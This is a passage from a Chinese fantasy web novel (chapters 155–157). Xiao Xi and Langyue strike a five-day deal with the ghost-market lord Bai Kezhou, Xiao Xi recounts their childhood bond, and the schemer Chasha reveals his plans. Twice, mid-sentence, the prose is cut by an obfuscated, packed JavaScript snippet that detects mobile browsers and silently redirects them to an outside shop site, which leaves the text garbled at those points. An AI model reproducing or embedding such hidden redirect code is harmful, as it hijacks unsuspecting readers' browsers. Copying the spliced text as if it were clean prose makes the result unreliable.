但朗月的身份让他还是心有顾忌,除此之外,他好像感到自己内心像是有什么东西蠢蠢欲动……一股莫名而来的报复感席卷了他的大脑。 他想要听这位身为仙机门的弟子亲自说话,说那些萧喜刚刚还挂在嘴边的、对修真门派弟子来说大逆不道的话,他貌似很期待亲眼看到修真弟子背叛门派的模样,要知道,背叛可是被修真门派钉在耻辱柱上的东西,这东西就像是修真弟子们的命根子、自尊心,谁要是丢了,谁就不配再拥有这些所谓的美好的立身之本了。 朗月的背叛,是可以给白刻舟带来惊人快感的东西。 155. 刻舟求剑(1) 场面陷入死一般的寂静,所有人都没有说话,那些聚众而行的侍卫们也心领神会着主人的话外之意,默默停下步伐,一双双在夹杂着灯火的夜晚闪烁着精明神采的眼睛,透过整齐划一的面具,投射在朗月身上。 这是很不舒服的场面,虽然这些目光没有落实到自己身上,萧喜却是连想象一番都紧张得后背森凉。 她默默抬眼瞥了朗月一眼,看着他垂眸沉默的模样,瞬间想到了昨日客栈里朗月与她谈及仙机门时,泪眼朦胧却又极力隐忍的形容。 可不管是昨日的欺骗,还是今日的背叛,他都要一个人极力承担,可这一切都不是他的错,但他不得不压低头颅,默默忍着,这太残忍了。 萧喜的心被拉扯到了极点,她几乎控制不住自己泪意喷薄的双眼,颤抖着嘴唇的她,只是站在身侧看着朗月,就能洞悉共情他近乎所有的内心世界。 但这也许只是她的错觉,因为她并不能确定现在的自己,还是不是深陷在自作多情的漩涡里无法自拔。 可是她真的忍不住。 她忍着泪,颤抖地伸出藏在耷拉着的袖子中的手,颤颤巍巍地碰上了朗月冰凉的手,并明显感觉到了对方因为自己的触碰而颤抖的表现,她愈发小心翼翼,如同是在抚摸自己珍爱却又易碎的宝物一般。 她的手指轻轻勾住他的小指,微微拉住,这是安抚和鼓励他的动作。但其实这并不是自己真的想要做的事情,她第一次希望自己是个没心没肺的、不用顾虑其他人的目光,也无需顾忌对方看法的傻子。如此她才能好好地拥抱一下这个惹人心疼的孩子,告诉他不用勉强,不必难过。 但是她不是,也不能。 “我来说,你不用听他……”萧喜轻声道,可还没说完,朗月就忽然变得有生机起来,他的动作有了起伏,眼神也不再黯淡。 但他没有舍得放下握住他手指的手,反而回勾着,偷偷地藏在了自己的身后,执拗又小气。 他抬首复看了此时表现得饶有兴趣的白刻舟,却又很快埋下头去,将骄傲而倔强的脊背弯下,掷地有声地道:“我为修真门派和人族所犯下的一切罪恶,向无辜的妖族道歉。” 说罢,他将脊背弯得更深了些。 白刻舟无声了片刻,嘴角才扬起了得意洋洋的笑容,看起来气色大好,他语气激动,甚至带着少许的癫狂:“好……好好。” 这种报复心带给他的快感属实超乎想象。 “我本以为今晚是一场恶战,但实在没想到让我忧虑忡忡的鬼市妖主会是你,小白……不是,白刻舟!我很高兴你能和我们合…….”萧喜的眼神水汽氤氲,她的表现颇为激动。 萧喜欢天喜地着,甚至因为太过激动,说话都变得语无伦次起来,她刚要朝白刻舟恭敬鞠躬,却没等话末最后一个“作”说出口的时候,被对方无情打断。 “阿喜,不要误会。我不过是看着你的面子而已.....” 白刻舟拢了拢狐裘镶边的袖子,笑得明媚而赋有心机,耐人寻味地道:“期限五日。” 他像极了一只笑面虎。 “我要你们在五日内就给我找到所谓的……刹摩……血蠕前兆?”他轻蔑一笑,言语戏谑,又道,“总之,五日内,我要你们找到盛京城威胁妖族灵力的源头,否则……萧喜,你也别怪我不给你留情面了,毕竟,我已经给过你一次机会了。” 萧喜咧开的笑容顿时僵在了嘴角,但她明白这已经是最好的结局了,她没有理由不妥协。而朗月对此也毫无异议,所以最后,五日之约因此落定。 “对了,方才与我们抢夺悬赏令的那只狐妖已经知道我们的真实身份了,白……” 萧喜经历过刚刚种种事情,自然能感受到白刻舟对她的疏离之意,她便收敛起来,恭敬着语气对他说道:“鬼市妖主是否可以替我们解决掉她,以免消息外露,毕竟鬼市这么大,闹起来的话后果不堪设想,而你给我们的时间本就紧迫,这是不是太不公平了?” 白刻舟斟酌了一番,笑道:“这是自然。不过,说到这个,我的确觉得自己的要求对你们太过严苛了,而且调查妖力衰微的事情本就跟我族息息相关,你们二位都是人族,办起这种事情肯定不方便吧?不如到时候我再安插几个我的手下到你们那边去,帮帮你们?” 萧喜闻风色变,她怎么可能不懂对方的言外之意?白刻舟分明还是忌惮他们,所以准备用这种手段在他们身边安插眼线,从而控制他们的行踪。 萧喜咬咬牙,刚想要争辩,白刻舟又道:“阿喜你要知道,只有这样,我才有办法亲自帮你们啊?” 朗月勾住萧喜的手,示意她不要轻举妄动,默默接受对方的要求即可。 萧喜不得已熄灭心中的怒火。 正当他们转身离去的时候,白刻舟又突然叫住了他们,他看穿萧喜心中有所隐瞒,问道:“不过,阿喜此次来当真没有其他所求么?你不妨说来给我听听,我可以提前帮你准备。” “你其实只是想要抓我的把柄而已,”萧喜没有转过身去看他,只是冷着脸沉声道。 白刻舟的双眼流露出了几分欣赏之意,他见自己的用意被看穿了,倒也不掩饰:“是又如何?你没有别的选择。” “帮我找一个人,她的名字叫金瑶蒂,曾多年前在登仙楼当过妾子,虽受尽凌辱,但至今还活着,只是还下落不明。” “没问题。”白刻舟答得果断。 眼看着朗月和萧喜的身影坠落高楼,不见踪迹,白刻舟身侧的侍卫才敢出言:“主人,您为何如此纵容他们?按原计划把他们抓起来问清楚事由不是更快么?而且如果应了他们的要求,悬赏令一事不就全部泡汤了,那些妖怪们就白牺牲了啊。” 白刻中眸色阴晴不定,他悠悠说道:“因为我的确欠阿喜一个人情。” “当然,就算我用原来的计划对付他们,凭借悬赏令筛选下来的妖, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019758|126577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和全鬼市的气力也很难在五日内完成任务,我虽然不信他们有这样的能耐,但倘若他们做到了,我们也不亏。毕竟他们没有机会对我们动手脚,他们其中有个人是背叛仙机门的弟子,所以他们也不可能外泄秘密,我们根本无需忌惮修真门派。这次,鬼市完全可以高枕无忧,尽收主利。” 八角宫廷外的厮杀声纷扰不断,格外扰耳。 白刻舟倏尔挥手,命令鬼面侍卫们叫停悬赏令的进程。 他背手过去,叹道:“任何事情都是要付出代价的,这些妖怪们的牺牲在所难免,更是迫不得已的。但是从今晚开始,就不会再有更多无辜的妖怪丧生了,我倒是应该向阿喜他们道声谢。我好像又欠下了她一个人情。” 他身侧的侍卫听得一愣一愣的,最后也只是半知半解地应了一句:“是。” “是该履行约定了,你们去鬼市上把那只刚刚和阿喜他们对峙的狐妖抓上来吧。”白刻舟转身走向宫廷内,给侍卫们留下一句吩咐。 …… 出了鬼市后,萧喜和朗月两个人还沉浸在沉重的氛围中,他们两个人暂时都没有要说话的意思。走在来时的路上,留着水灯的溪水缓缓而动,偶尔碰到不平的谿谷就会迸溅出几声哗啦啦的水流之音。夜间萤火纷飞,郊外荒野还驻足着一些人群,他们很少说话,柔静的目光呆呆地望着平静的萤火和烛火,思念之意,可见一斑。 这样的场景他们看了一路,从未有过厌烦之意,反而平添了心间的愁思。 进了镇子后,街道上近乎无人,中元的夜往往如此。 但到了这里,萧喜也差不多攒足了缓和心情的时间,她的注意力开始放在一旁沉默不语的朗月身上。 她也终于意识到自己的手还挂在他的小指上,她倏尔一惊,立马收回了太过僭越的手,还不断地谴责自己太过冲动,让一时的怜爱之感占据大脑,乃至夺取了身体的控制权。 但其实她是矛盾的,在谴责自己的同时,她在期待,对方能给予自己对应的回应。因为,她不希望自己真的是一厢情愿的那个人,就算只是一时的好感,她也甘愿留恋。 短短时间内,她甚至想过,要是对方真的给了她回应,她就可以不计前嫌,忘掉朗月曾经对自己所作所说过的一切关于距离感的事情,也可以完全不再计较前几天朗月说过的那句“对不起,我还是做不到对你敞开心扉”的话。 她甚至真的可以抛弃一切多余的事情,忘记一切现在她的处境和要做的正事,她可以用她想要得到的回应,理所应当地牵着他的手,迈开自己一直不敢跨出的一步,和他开始一段新的关系。 她的自尊心和贪婪的人之本性都在蠢蠢欲动。 但是朗月并没有,他甚至因为感觉到了萧喜勾住他手指的手正在颤动,而赶忙松劲,好让自己不会继续做出荒唐的事情,他不想变成那个不负责任的混蛋。 他还是一个字都没有说,更没有任何回应。 156. 刻舟求剑(2) 萧喜很难不承认自己是不失望的。 她为了不让局面再尴尬下去,干脆岔开话题,用放松的语气开导他:“刚刚白刻舟的话你都别当真,他根本不了解你,那什么仙机门的错关你什么事啊?明明你才是那个被中伤得最厉害的无辜者,不管是被仙机门欺骗,还是在白刻舟面前承认自己背叛仙机门的事情……这都跟你没关系好吗?! 你不也是形势所迫吗?那些对着白刻舟说的话,你就全当放了个屁,我们不当真,也不要有任何心理压力,好不好?” 她真的太懂他了,他可是个自尊心极强的人,也是一个从小被仙机门门主带大的亲传弟子,背叛这件事可不仅仅是伤害了他的自尊心,还给他的认知带来了极重的打击——从小一直相信的犹如亲人般的存在会欺骗他。 朗月兀自摇首,平静道:“会当真的,我也会慢慢适应这些事实。” 萧喜被说得一哽,一时不知道再找什么话题聊下去了。 他们无声沿着回客栈的路走了一阵,朗月才鼓起勇气主动跟她问道:“为什么……鬼市妖主会叫你阿喜?” 他的确很在意这件事,无论是对小黑,还是对现在的白刻舟。 萧喜目前正处于所谓有自知之明且兀自失落的状态,她不太相信朗月对她真的有心意,自然听不出他的言外之意。所以她只以为朗月的意思,是在问她怎么会跟白刻舟认识的。 毕竟,这件事的确很有必要跟朗月好好解释一番,早晚的事情而已。 不过既然这个问题已经被对方抛出来了,她就恭敬不如从命了:“这件事虽然说来话长,但从前我应该是跟你提过一点点的……嗯……” 她沉吟半晌,似是在努力搜寻记忆。 “就是上个月左右吧,在第一次去庆阳镇回来的路上,我和你谈及对妖的看法的时候,刚巧聊了一些小时候的过往,就类似于说我小时候遇见过妖的话,你有印象吗?” 朗月跟着萧喜的话头思考了一番。 很快他就找到了对应的记忆,萧喜的原话—— “我没有什么不同。不同的明明是你们罢了,妖物和人都是差不多的,妖物胜在有法力,人呢胜在有心思,各有所长。只是,人心永远占据上风,妖物不知什么时候就成了过街老鼠,人人要喊打。我自己是人,没有要刻意包庇妖物的意思。但我比较特殊,在我很小的时候,我见过妖哦~他平日里傻傻的,还和我做朋友,再然后被我发现了,他像是忌惮什么似的,一下子就跑了。我当时不明白,后来听了我师父的话,才知道那是传闻里的妖怪,而当时他也是害怕自己的身份被人识破才逃走的,我就觉得怪可怜的……” “……” 朗月静如止水般的表情,在短短时间内变幻莫测了起来,后而他才愣道:“那个时候你说的平日里傻傻的、还跟你做朋友的妖,不会就是白刻舟吧?” 萧喜点了点头。 即便得到了确切的答案,朗月却还是做不到,将这些关键词在自己脑海里组成的形象,跟他对白刻舟的印象重叠起来,因为这两者实在相差甚远,甚至可以说是完全没有联系。 萧喜无奈摊手,又道:“我理解你,说实话我也不敢相信昔日儿时那个傻乎乎的少年会变成现在这副模样,但我还是感到很惊喜,因为白刻舟的出现至少让我知道,十多年来,他还活着。 知道吗?自从我在师父那边知道他是妖后,我特别难过,距离小白离开的时间已经快过去七八年了,我明白这个偏执的世界很难容得下妖,所以我一直觉得这么多年来他了无音讯,可能是早就死掉了呢。” 她下意识地抬首看了看天,长叹一口气,似乎是在喟叹岁月如梭。 “你好不好奇十多年前一个才七八岁的小毛孩,为什么还能在被这么长时间的岁月磨洗后,对儿时的玩伴记忆尤深?深到十多年后,仅仅是一面之缘,就能令我立马认出他的模样。”她歪了歪头,朝朗月挑了个俏皮的笑。 朗月微笑着看着她:“为什么?” “因为我记仇啊,所以忘不掉。小时候我还跟着哥哥在丐帮底层摸爬滚打呢,哥哥为了应付丐帮里其他人,很少陪我,然后我也没有朋友,特别孤独,每天还要硬着头皮忍受各种欺辱,大多数时候,甚至连饭都没得吃。 有一天,我好不容易拿到了自己的馒头,也没人跟我来抢。我很开心地走在路上,打算啃起来,但是在破烂的巷子里,我看到了伤痕遍身还看起来神志不清的少年,也就是跟普通人族十来岁的孩子看起来一般年纪大小的小白。 那小白要是装死就好了,不然我也不会突然善心大发了。” 萧喜说到此处,语气一扬,很明显是在调侃,她其实是在用这种方法,掩盖自己对岁月流失后的怅惘。 “小白虽然神志不清,但还留着一口气,他一个人瑟缩地躺在塞满湿漉漉又脏兮兮的草垛的窄巷角落里,一看见我来,就可怜兮兮地、恨不得用尽自己全身的力气,朝我哑着嗓子叫喊——救救我,救救我。” “他看着我的眼神像是在看最后的希望,跟帮子里其他人,看我的那种带着掠夺性又戏谑的眼神截然不同。我心一软,就分了他一半馒头,这是我能做的最大善举了,毕竟我又没办法带他走,也没办法给他钱让他喊大夫治病。当时我就想给他点吃的,叫自己良心好过一点,他活不活得下去就全看他自己了。 虽然我觉得他是过不下去的,但后来我只要一到饭点,就偷偷跑到那边去,看看他到底怎么样了,结果他真不简单,他居然就靠我那一半的馒头熬下去了,说真的,我特别惊喜,之后我就经常投喂他,天真地认为他会跟小草小花一样能在我的浇灌下茁壮成长,也会慢慢好起来。 而小白的确做到了,让我相信了自己的一切奇思妙想。 他很快就好起来了,身上的伤口已经几乎看不见,面色也越发白亮,倘若他能换上一袭干净的衣裳,便是翩翩贵公子了。我们就这样成为了好朋友,他会跟我说很多我没法相信的新奇事物,会在我被欺负的时候安慰我,也会在我孤独的时候充当我的兄长和益友。 时间漫漫,一个月快过去了,我打算不再躲躲藏藏,跟他说要不要和我去丐帮混,他没同意,问他原因也支支吾吾的什么都不说,就跟之前一样,但之前我不计较,后来就越来越郁闷了。 我感觉无论跟他怎么相处,我都看不清楚他的内心,甚至给我一种越认识下去就越陌生的感觉,距离感的拉开让我很失落。 我郁闷了很久,然后觉得凭什么关心人的是自己,难过的人也是我呢? 我特别不服气,小时候的玩心重,想着跟他怄气,有一次没跟他提前说明来意,偷偷跑过去找他,想恶作剧吓他一跳,却没想到最后被吓到的人是我。” 萧喜又呼了一口气,跟朗月比划起来:“小白当时好像在睡觉,但神色又很不对劲,我静声走近一看,发现他长着几条纯白色的毛茸茸的尾巴,为了确认真伪,我甚至还摸了一下,居然还是温热的。我被吓得一个屁股墩落地,把他吵醒了,他一站起来,那几条白色的大尾巴也被他带着动了起来,当 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他的话不是没有由头,在沧淩城的事情刚解决的那几天里,他当时正纠结要如何处理自己和萧喜的关系的时候,萧喜在那天夜晚去往沧淩城城区的郊外小道里,跟他谈了很多知心话,告诉了他自己因为“距离感”而感到苦恼,希望他能进一步启开心扉,接受与她缔结“莫逆之交”的关系。 萧喜这么做,难道不是因为觉得自己跟儿时碰见的好友一样吗?但是不一样的是,儿时她无法挽回过去那段友谊,现在的她却有了机会重新组织一段新的关系。 萧喜听罢,琢磨了一会,朝他笑了笑:“好像确实有吃一堑长一智的意思。” 朗月静静地看着她,耐心道:“但我跟白刻舟不一样。” “啊……我知道。”萧喜没有想到他会这么说。 “啊对了,你不是问我为什么白刻舟也会叫我阿喜嘛?我觉得这个问题,应该得更加具体地跟你解释一下。” 朗月扬了扬眉梢:“还是平台镇时的那套说辞?” “咦?” “我叫萧喜,欢喜的喜,不介意的话,你可以唤我阿喜。”朗月模仿了印象中萧喜说这句话时的腔调。 萧喜眨巴了巴眼睛,随即哈哈笑起来,连忙摆手:“这只是我一贯的说辞而已,你居然还当真了!若真像你这么想,小黑刚认识我就叫我阿喜的这件事该怎么解释?” 朗月不以为然道:“或许你趁我不在的时候,也跟他说了那番同样的话。” 萧喜笑意不止,笑得整个身子都颤抖起来:“不是的,因为阿喜这个称呼多少是带了些妖族的习性的,妖族喊爹娘是叫阿爹阿娘,喊兄弟姐妹就是阿哥阿弟阿姊阿妹……以此类推,他们喊我就可以喊阿喜了。这个称呼是小时候小白叫我的,我觉得好听,一直保留到了现在。” 朗月顿住,不痛不痒地侃了一句,心里却拧作了一团:“你和白刻舟的渊源的确不浅。” 萧喜闻言耷拉了一下脑袋:“那又怎么样,他如今翻身一变,成了什么鬼市妖主,以前的事情估计早忘了,对我的态度也……” 朗月想了想,安慰道:“倒不一定。” “怎么说?” “他的名字叫白刻舟,刻舟求剑可不是什么好词。固执己见,死守信念,不愿变通。他可能一直忘不掉过去的事情。”朗月的话其实有些牵强附会之意。 萧喜失笑,嘲道:“你当真不会安慰人。你又不能证明白刻舟这个名字,是不是人家后来才改上的,这些话怎么能作数?而且,就算真有几分道理,他忘不掉的也一定是从前我恐惧他的模样,总归不是什么好事。” 157. 步步为营 鬼市八角宫廷内—— 不消半个时辰,在鬼市四处逃窜的紫狐雾香,就被一帮鬼面侍卫们连杠带架地带到了鬼市妖主的座前。 白刻舟抬眼示意旁人退下,空旷的大殿里仅有他和雾香两人。 他上下打量了一番趴在地上瑟瑟发抖的雾香,眉角微松后,踏着金阶走到雾香身前。 而雾香似乎被他的动作吓了一大跳,她匍匐着身子,挪着双膝连连后退,但这些举动不过只能满足她因为太过害怕时空虚的内心而已,实际上,这些对于当前她危在旦夕的处境来说,都是无济于事的表现。 “大人……不知小女做错了什么触怒了您,但……小女也是刚来鬼市没几日,很多规矩都不明白,还请您绕我一命。” 雾香对鬼市妖主的名声耳熟不已,所以她只以为自己之所以会在毫无征兆的情况下被带到这里,是因为自己犯了鬼市的规矩。 白刻舟没理会她,只是凑近她,嗅了嗅气味,又俯身对她要求道:“你把面具摘下来给我看看。” 雾香震惊地抬眼望了他一眼,尽管他的面容几乎都被面具覆盖,叫人看不出他的神色,但还是压不住他的气魄,叫平日作风张扬的雾香,也不得不萎靡着神智,乖乖耷拉下脑袋,不再敢看他。 她照着白刻舟的要求,摘下了面具,露出自己浸满冷汗的、略显苍白的面容。 “抬起头来。”白刻舟又命令道。 雾香咬着唇,故作镇定地照做。 她长着一张典型的狐面,柳眼梅腮,脸型偏窄而线条流畅,本该媚态尽显,但正因为她不同于族中其他狐妖明丽的个性和稍小的年纪,她骨子中的俏态应该更甚于一般的娇媚,倒是很特殊。 她秀丽的乌发时时在金碧辉煌的宫殿里发散出幽紫的光华,除此之外,她的眉毛、长睫亦是如此。 白刻舟左右端详了起来,抱胸感叹,莫名笑道:“我今晚不知到底惹上了什么事,把你们这一个个的都凑到了这儿,巧合得厉害。我真是没想到紫狐族的小姑娘能突然跑到盛京凑我着热闹,呵,你要是在我的地盘上把自己擦碰坏了,可不知道要再给我招惹上什么麻烦。” 他此话不假,紫狐族是妖族中极为稀少的种族之一,绝大部分族妖都是天赋异禀的,强大者居多。譬如再懒惰的雾香仅仅修炼三年,便能赶上绝大部分苦修多年的妖怪们的修为了。所以,一般情况下,没妖愿意招惹他们。 此时,白刻舟的话倒是撬起了雾香不大灵活的脑袋,她旋即叩头下去,意识到自己有族系做靠山后,说话都有了底气,她不断乞求道:“是啊是啊!我阿爹阿娘都在等我回家呢,还请鬼市妖主您大发慈悲,求您发发善心,放过我吧!” 白刻舟用耐人寻味的眼神扫了她一眼,转念想起自己刚刚说过,要在萧喜跟朗月身边安插眼线的事情,这个紫狐妖能耐不小,还看起来脑子还不大好使,应该很好控制,倒是不错的人选。 他心里揣摩着,但还有些犹豫,他转而端出自己一贯的作风,对她使道:“我若是没记错的话,紫狐族远在西北……” 雾香突然打断:“大……大人,是西南。” “哦……是吗,”白刻舟嘴角一僵,垂眸蔑了她一眼,她连忙埋下头去,不敢再出声。 “你既然能从那么远的地方跑来盛京的鬼市,无非也是为了悬赏令,你现在可以告诉我你所求之物是什么?” 白刻舟这段话术的内意,跟不久前对萧喜表达过的一样,他知道要想尽快控制住一个人,最好的办法就是抓住对方的把柄。 雾香楞了楞,她其实是觉得他的话并不准确,因为她最开始选择来鬼市,根本不是为了悬赏令,而是为了避难。可是就算反驳了,那又会有什么改变呢?反正自己现在的确对悬赏令有所企图,而且要是再多话,她实在不敢保证自己面前的这位大人不会提前杀她。 所以,刚有股要反驳白刻舟话的冲动立马被她按了回去,她支支吾吾了半晌,才好好回答:“我只想……找一个人。” 说罢,她忽地抬起头来,幽深的紫色双瞳似乎带着蛊惑人心的神力,牢牢攥住了白刻舟的注意力。 白刻舟怔住,他似乎从她的眸子里看见了一只散着幽光的荧蝶,正自她的左目翩跹至她的右目。 他恍惚地甩了甩头,再看她的时候,方才所见的一切全然不见踪影,他觉得自己似乎产生了幻觉。 “是吗?”他恢复清醒,对她的回答颇感兴致,因为雾香的要求跟萧喜的很像。 “但这件事很困难,”雾香失落地埋下脑袋,语气犹豫,“因为我只知道此人的名字。” “鬼市可以满足你的一切要求。”白刻舟自信地歪了歪头。 “我想找……金瑶蒂。” 白刻舟嘴角的笑意顿失,他眉头紧蹙,因为这个要求竟然跟萧喜的一模一样。 今日的这些事情未免太过凑巧了,他疑心上涌,觉得好像是有人在冥冥之中就注定好了所有事情的走向,并故意选择在今晚一并汇聚到他的眼前。 这种预感让他觉得很不妙,因为这些事情,既然能跟他早就定好的鬼市揭榜之事在同时发生,就代表他已经成为了局中人,所以这是有人早就预料到他会准备鬼市悬赏令的事情了…… 这种被人肆意摆布的感觉……真是光想想,就让他觉得怒火中烧。 他回忆起萧喜对他说过的话,不由地心中一紧。 或许萧喜的话是真的。 他现在已经在不知情的状态下,误入了某人的圈套,这个“某人”不会是人族和修真门派,更不会是妖族,而应该是萧喜口中的那个非人非妖的存在“刹摩”。 白刻舟又睇了雾香一眼,提前思考了一番自己的逻辑,才继续对她道:“没问题,并且我现在就能给你一些答案。你还记得不久前与你抢夺悬赏令的两个一男一女的人族么,其中那个少年还是仙机门的弟子?” 雾香被问得张舌瞪目:“大人……您怎么知道他们是人族?!既然如此,大人刚刚为什么又要放他们走?!” 白刻舟回避了她的问题,另道:“据我所知,那个人族女子所求之事便是寻找金瑶蒂,跟你是一样的。而且她知道的讯息远比你多,她说,她要找的人的姓名叫金瑶蒂,曾多年前在登仙楼当过妾子,受尽凌辱,却依旧活着,只是还下落不明。” “她怎么会?!” 雾香情绪激动,恨不得立马就站起身子,但尚存的一丝理智钳制住了她的四肢,没让她当场乱了阵脚。 白刻舟这次倒是没厌恶她没有方寸感的行为,反而饶有兴致地继续说话,有些激将的意味在里头:“既然你们都有同一个要求,那么我就不可能同时满足了,按照先来后到的规矩,紫狐,你可就……” “大人,求您满足我的请求!那个女子不过是人族,比起先来后到,身为紫狐族的我才更有资格获得您的抬爱!” 上勾了——白刻舟眉眼微眯,本就狭长的双眸显得愈发神秘莫测。 当真是好控制的女人。 他爽快地应了一句:“好!不过,你必须要自己争取机会。” “您的意思是,虽然您已经承诺了那个人族女子,但我可以凭自己的能力先她一步完成您的任务,拿到换取所求之事的资格?” 雾香终于明白了他的言外之意,并且在白刻舟狡猾的圈套下,彻底忘掉了悬赏令一事。 白刻舟面不改色地打了个响指,答道:“不错。” 雾香看起来并不爽快,她其实不仅在为如何对付那个仙机门弟子发愁,还在为没能够报仇成功的事情郁闷。 她尽力敛了敛神色,道:“但是那两个人都不好对付,我如何能近身?” “不用担心,因为他们必须接受我安插妖族眼线的提议,目前来讲,没有妖比你更合适了,而且你对他们来说也是有利用价值的,他们不会对你轻举妄动,”白刻舟摆出一副欺骗性极强的笑容,“你跟在他们身边除了充当眼线的作用,还得尽力完成我交代给你的任务,你大可以把他们当作自己的跳板,并用你的方法找到致使妖族妖力衰微的源头。毕竟我的确不敢太相信人族,也绝对不想欠他们人情。” “我还会安排其他妖跟在你后面办事,你可不能辜负我的良苦用心。” “我明白了。” 白刻舟思忖半刻,意识到自己差点忘记一件极为关键的事情:“等等,金瑶蒂到底是什么人?值得你们一个两个都对她如此穷追不舍?明明这是一件吃力不讨好的事情。” 什么样的人值得人族和妖族共同极力寻找?他百思不得其解。 雾香幽紫色的瞳孔猝然混沌,她眼神光彩顿失,语气也没了活力:“我……也不知道。” 白刻舟站在一旁,看着她的神色阴晴不定,他虽然觉得雾香的行迹奇怪,但却找不到具体的破绽,不,应该说是完全找不到破绽,真是无厘头的状况。 …… 中元夜,盛京城秦将军府—— 一个身着作底白衣、罩身玄袍的男人,站在布置空旷的亭廊下,夜色四合下,他的大半身影都被盖住了颜色。只露出半张脸的他,正用阴恻恻的目光,盯向远处另一处隐没在黑暗中的院子里飘动的火光,女子的小声抽噎声也从那处传来。今晚是中元夜,有人在那儿偷偷烧纸钱。 男人若有所思地摩挲着手边的长袍,一边看一边思考着,不知不觉间,竟然已经到了深夜。 长长的亭廊响起一阵轻巧的落地身,有人正从外墙翻进来,身轻如燕的身法在夜间勾出一袭长风,扫进了男人的耳廓里。 男人终于有了动作,他微微侧眸,等待那人近身。 不久后,黑衣人果断单膝跪地行礼,他压低声音:“刹摩大人,鬼市那边的事情都已经办完了,但是……” 男人神色不明,只是微微点头,没有说话。 半跪下的黑衣人却没有要离去的意味,他似乎和自己斗争了很久,才储足了勇气,朝大人继续禀报:“但是,那名叫朗月的仙机门弟子并没有被鬼市妖主解决掉,而且他身边的那个叫做萧喜的女子,貌似和鬼市妖主是故知。您的计划……似乎又没有完美进行下去。” 他这个“又”字用得实在是很有考究,沧淩城的少五作为刹摩大人计划中的一环,因为少七的介入,导致少五再没有彻底完成任务的时候就身亡了。 “世间万事总是变化多端,沧淩城少五一事本就存在诸多不确定性。” 男人背着手,漫步走在长长的亭廊上,笑道,看起来丝毫没有忧心的意味。 “而这些变化我早已料到,并确信少五的牺牲远比计划原本的模样更具意义,起码我借他和苏且光之力,让朗月怀疑起了仙机门不是吗?我从一开始想要的就不是彻底解决掉某个人,背叛才是我最想要的。凡界不是有一句俗语说,以其人之道,还治其人之身么?” 男人笑意忽止,目光淫邪:“六年前的仙机门若不是与我达成共识,又怎么可能凭他们自己的本事,让大周上下的血蠕一夜尽失?也正是那个时候,我才能正大光明地拿走他们的极哀钟,从而再钳制毕方长达六年的时间。 但是,仙机门似乎受了某位高人的指点,得到了所谓的预言,指认出朗月这个孩子将是对抗我的筹码,从而希冀能早日挣脱我的掌控。他们这是在背叛我。 仙机门的门主怎么会长着这般丑恶的嘴脸?六年前,以他的认知, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14036810|126577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定然只会以为和他暗中和谈的我会是妖,所以他居然用曾经跟妖族谈判时的口吻,告诫天下修真门派人妖有别?他又怎么好意思正义凛然地用如此卑鄙的手段背叛我? 难道这就是所谓的正义和名门正派么?你说,人族怎么会如此荒唐?” 黑衣人因为大人突然切换了话题,而没有立刻反应过来,他只是慌忙地摆头答:“不知。” 男人没有管他,继续说道:“如今想想,六年前我与仙机门门主之间的关系,倒很像两百年前黑影魔跟历任仙机门门主的关系。而我的血蠕之术也正是传承于黑影魔,真是有缘。不,应该说是……我故意的。” 黑衣人听了忽地一颤,半跪在地的他,不由得战战兢兢地瑟缩起身子,他其实并没有完全听懂大人的意思,但却下意识地卑微求饶道:“刹摩大人,您放心!我肯定不会跟那该死的影魔一样,想方设法背信弃义!我永远不会背叛刹摩!永远!” 黑影魔的名讳一直是令他们忌惮的,因为,这位万余年前,曾经随同刹摩大军出征毗邻山的魔族传说人物,就是被眼前这位看起来雅致内敛的大人亲手杀死的。 传闻,黑影魔因为刹摩大劫战败被天界封印至凡界,历经上千上万年的封印之苦,两百多年前,因为遇上了天界天宫宝鼎松动一事,钳制他的齐芒星针因此松动,并给了他出走魂魄的机会。他认为刹摩大劫已经了却,昔日的主子也早已丧命黄泉,所以他便不愿继续跟随刹摩,而是选择摆脱封印后,自行快活。 他开始满天下寻找怨念极深的家伙,希望此人能替自己被法阵封印,从而完成偷梁换柱,让他逍遥法外。 为此,黑影魔倒是做出了不少努力,又是找上少五,又是找上历任的仙机门掌门的。最后历尽千辛万苦,才将少五押入封印,达成了自己的目的。 可惜的是,他一出来就遇上了眼前的刹摩大人,然后大人以他背叛刹摩魔族为由,亲手扬了他的骨灰,还从他身上汲取出了血蠕之术,两百年后的今日,刹摩大人还在利用血蠕加剧人妖隔阂,并借此为自己催生出需要的怨念,继而加剧血蠕的威力,继来复往地催生出更多的怨念,强化血蠕,往往复复,不断进行着这样的计划。 所以黑影魔的存在,对于刹摩大人的手下们来说,有着杀鸡儆猴的效力,黑影魔的死就意味着背叛刹摩的结局。 其实除了黑影魔大人身亡的传闻以外,刹摩大人手底下的魔族们最好奇、也最不敢多言的疑惑就是,万余年前的刹摩大劫不是彻底令刹摩灭族了么?怎么上千年后,有着名正言顺的刹摩血统的大人会突然横空出世呢? 这未免也太离奇了。 除了大人成谜的身份以外,大家还听说,天界天宫宝鼎异动的事情貌似也是大人的手笔。也就是说,黑影魔最开始就是刹摩大人计划中的一环,他是被故意放出来的,大人这么做,极有可能就是,他从最开始就看上了黑影魔的血蠕之术,杀死黑影魔,便是因为他想要掠走此术。 刹摩大人的秘密太多,他太过神秘,因此全身上下都披着未知的压迫色彩,让他手底下的魔族们无条件地服从他。 大家无一不害怕这样的人物。 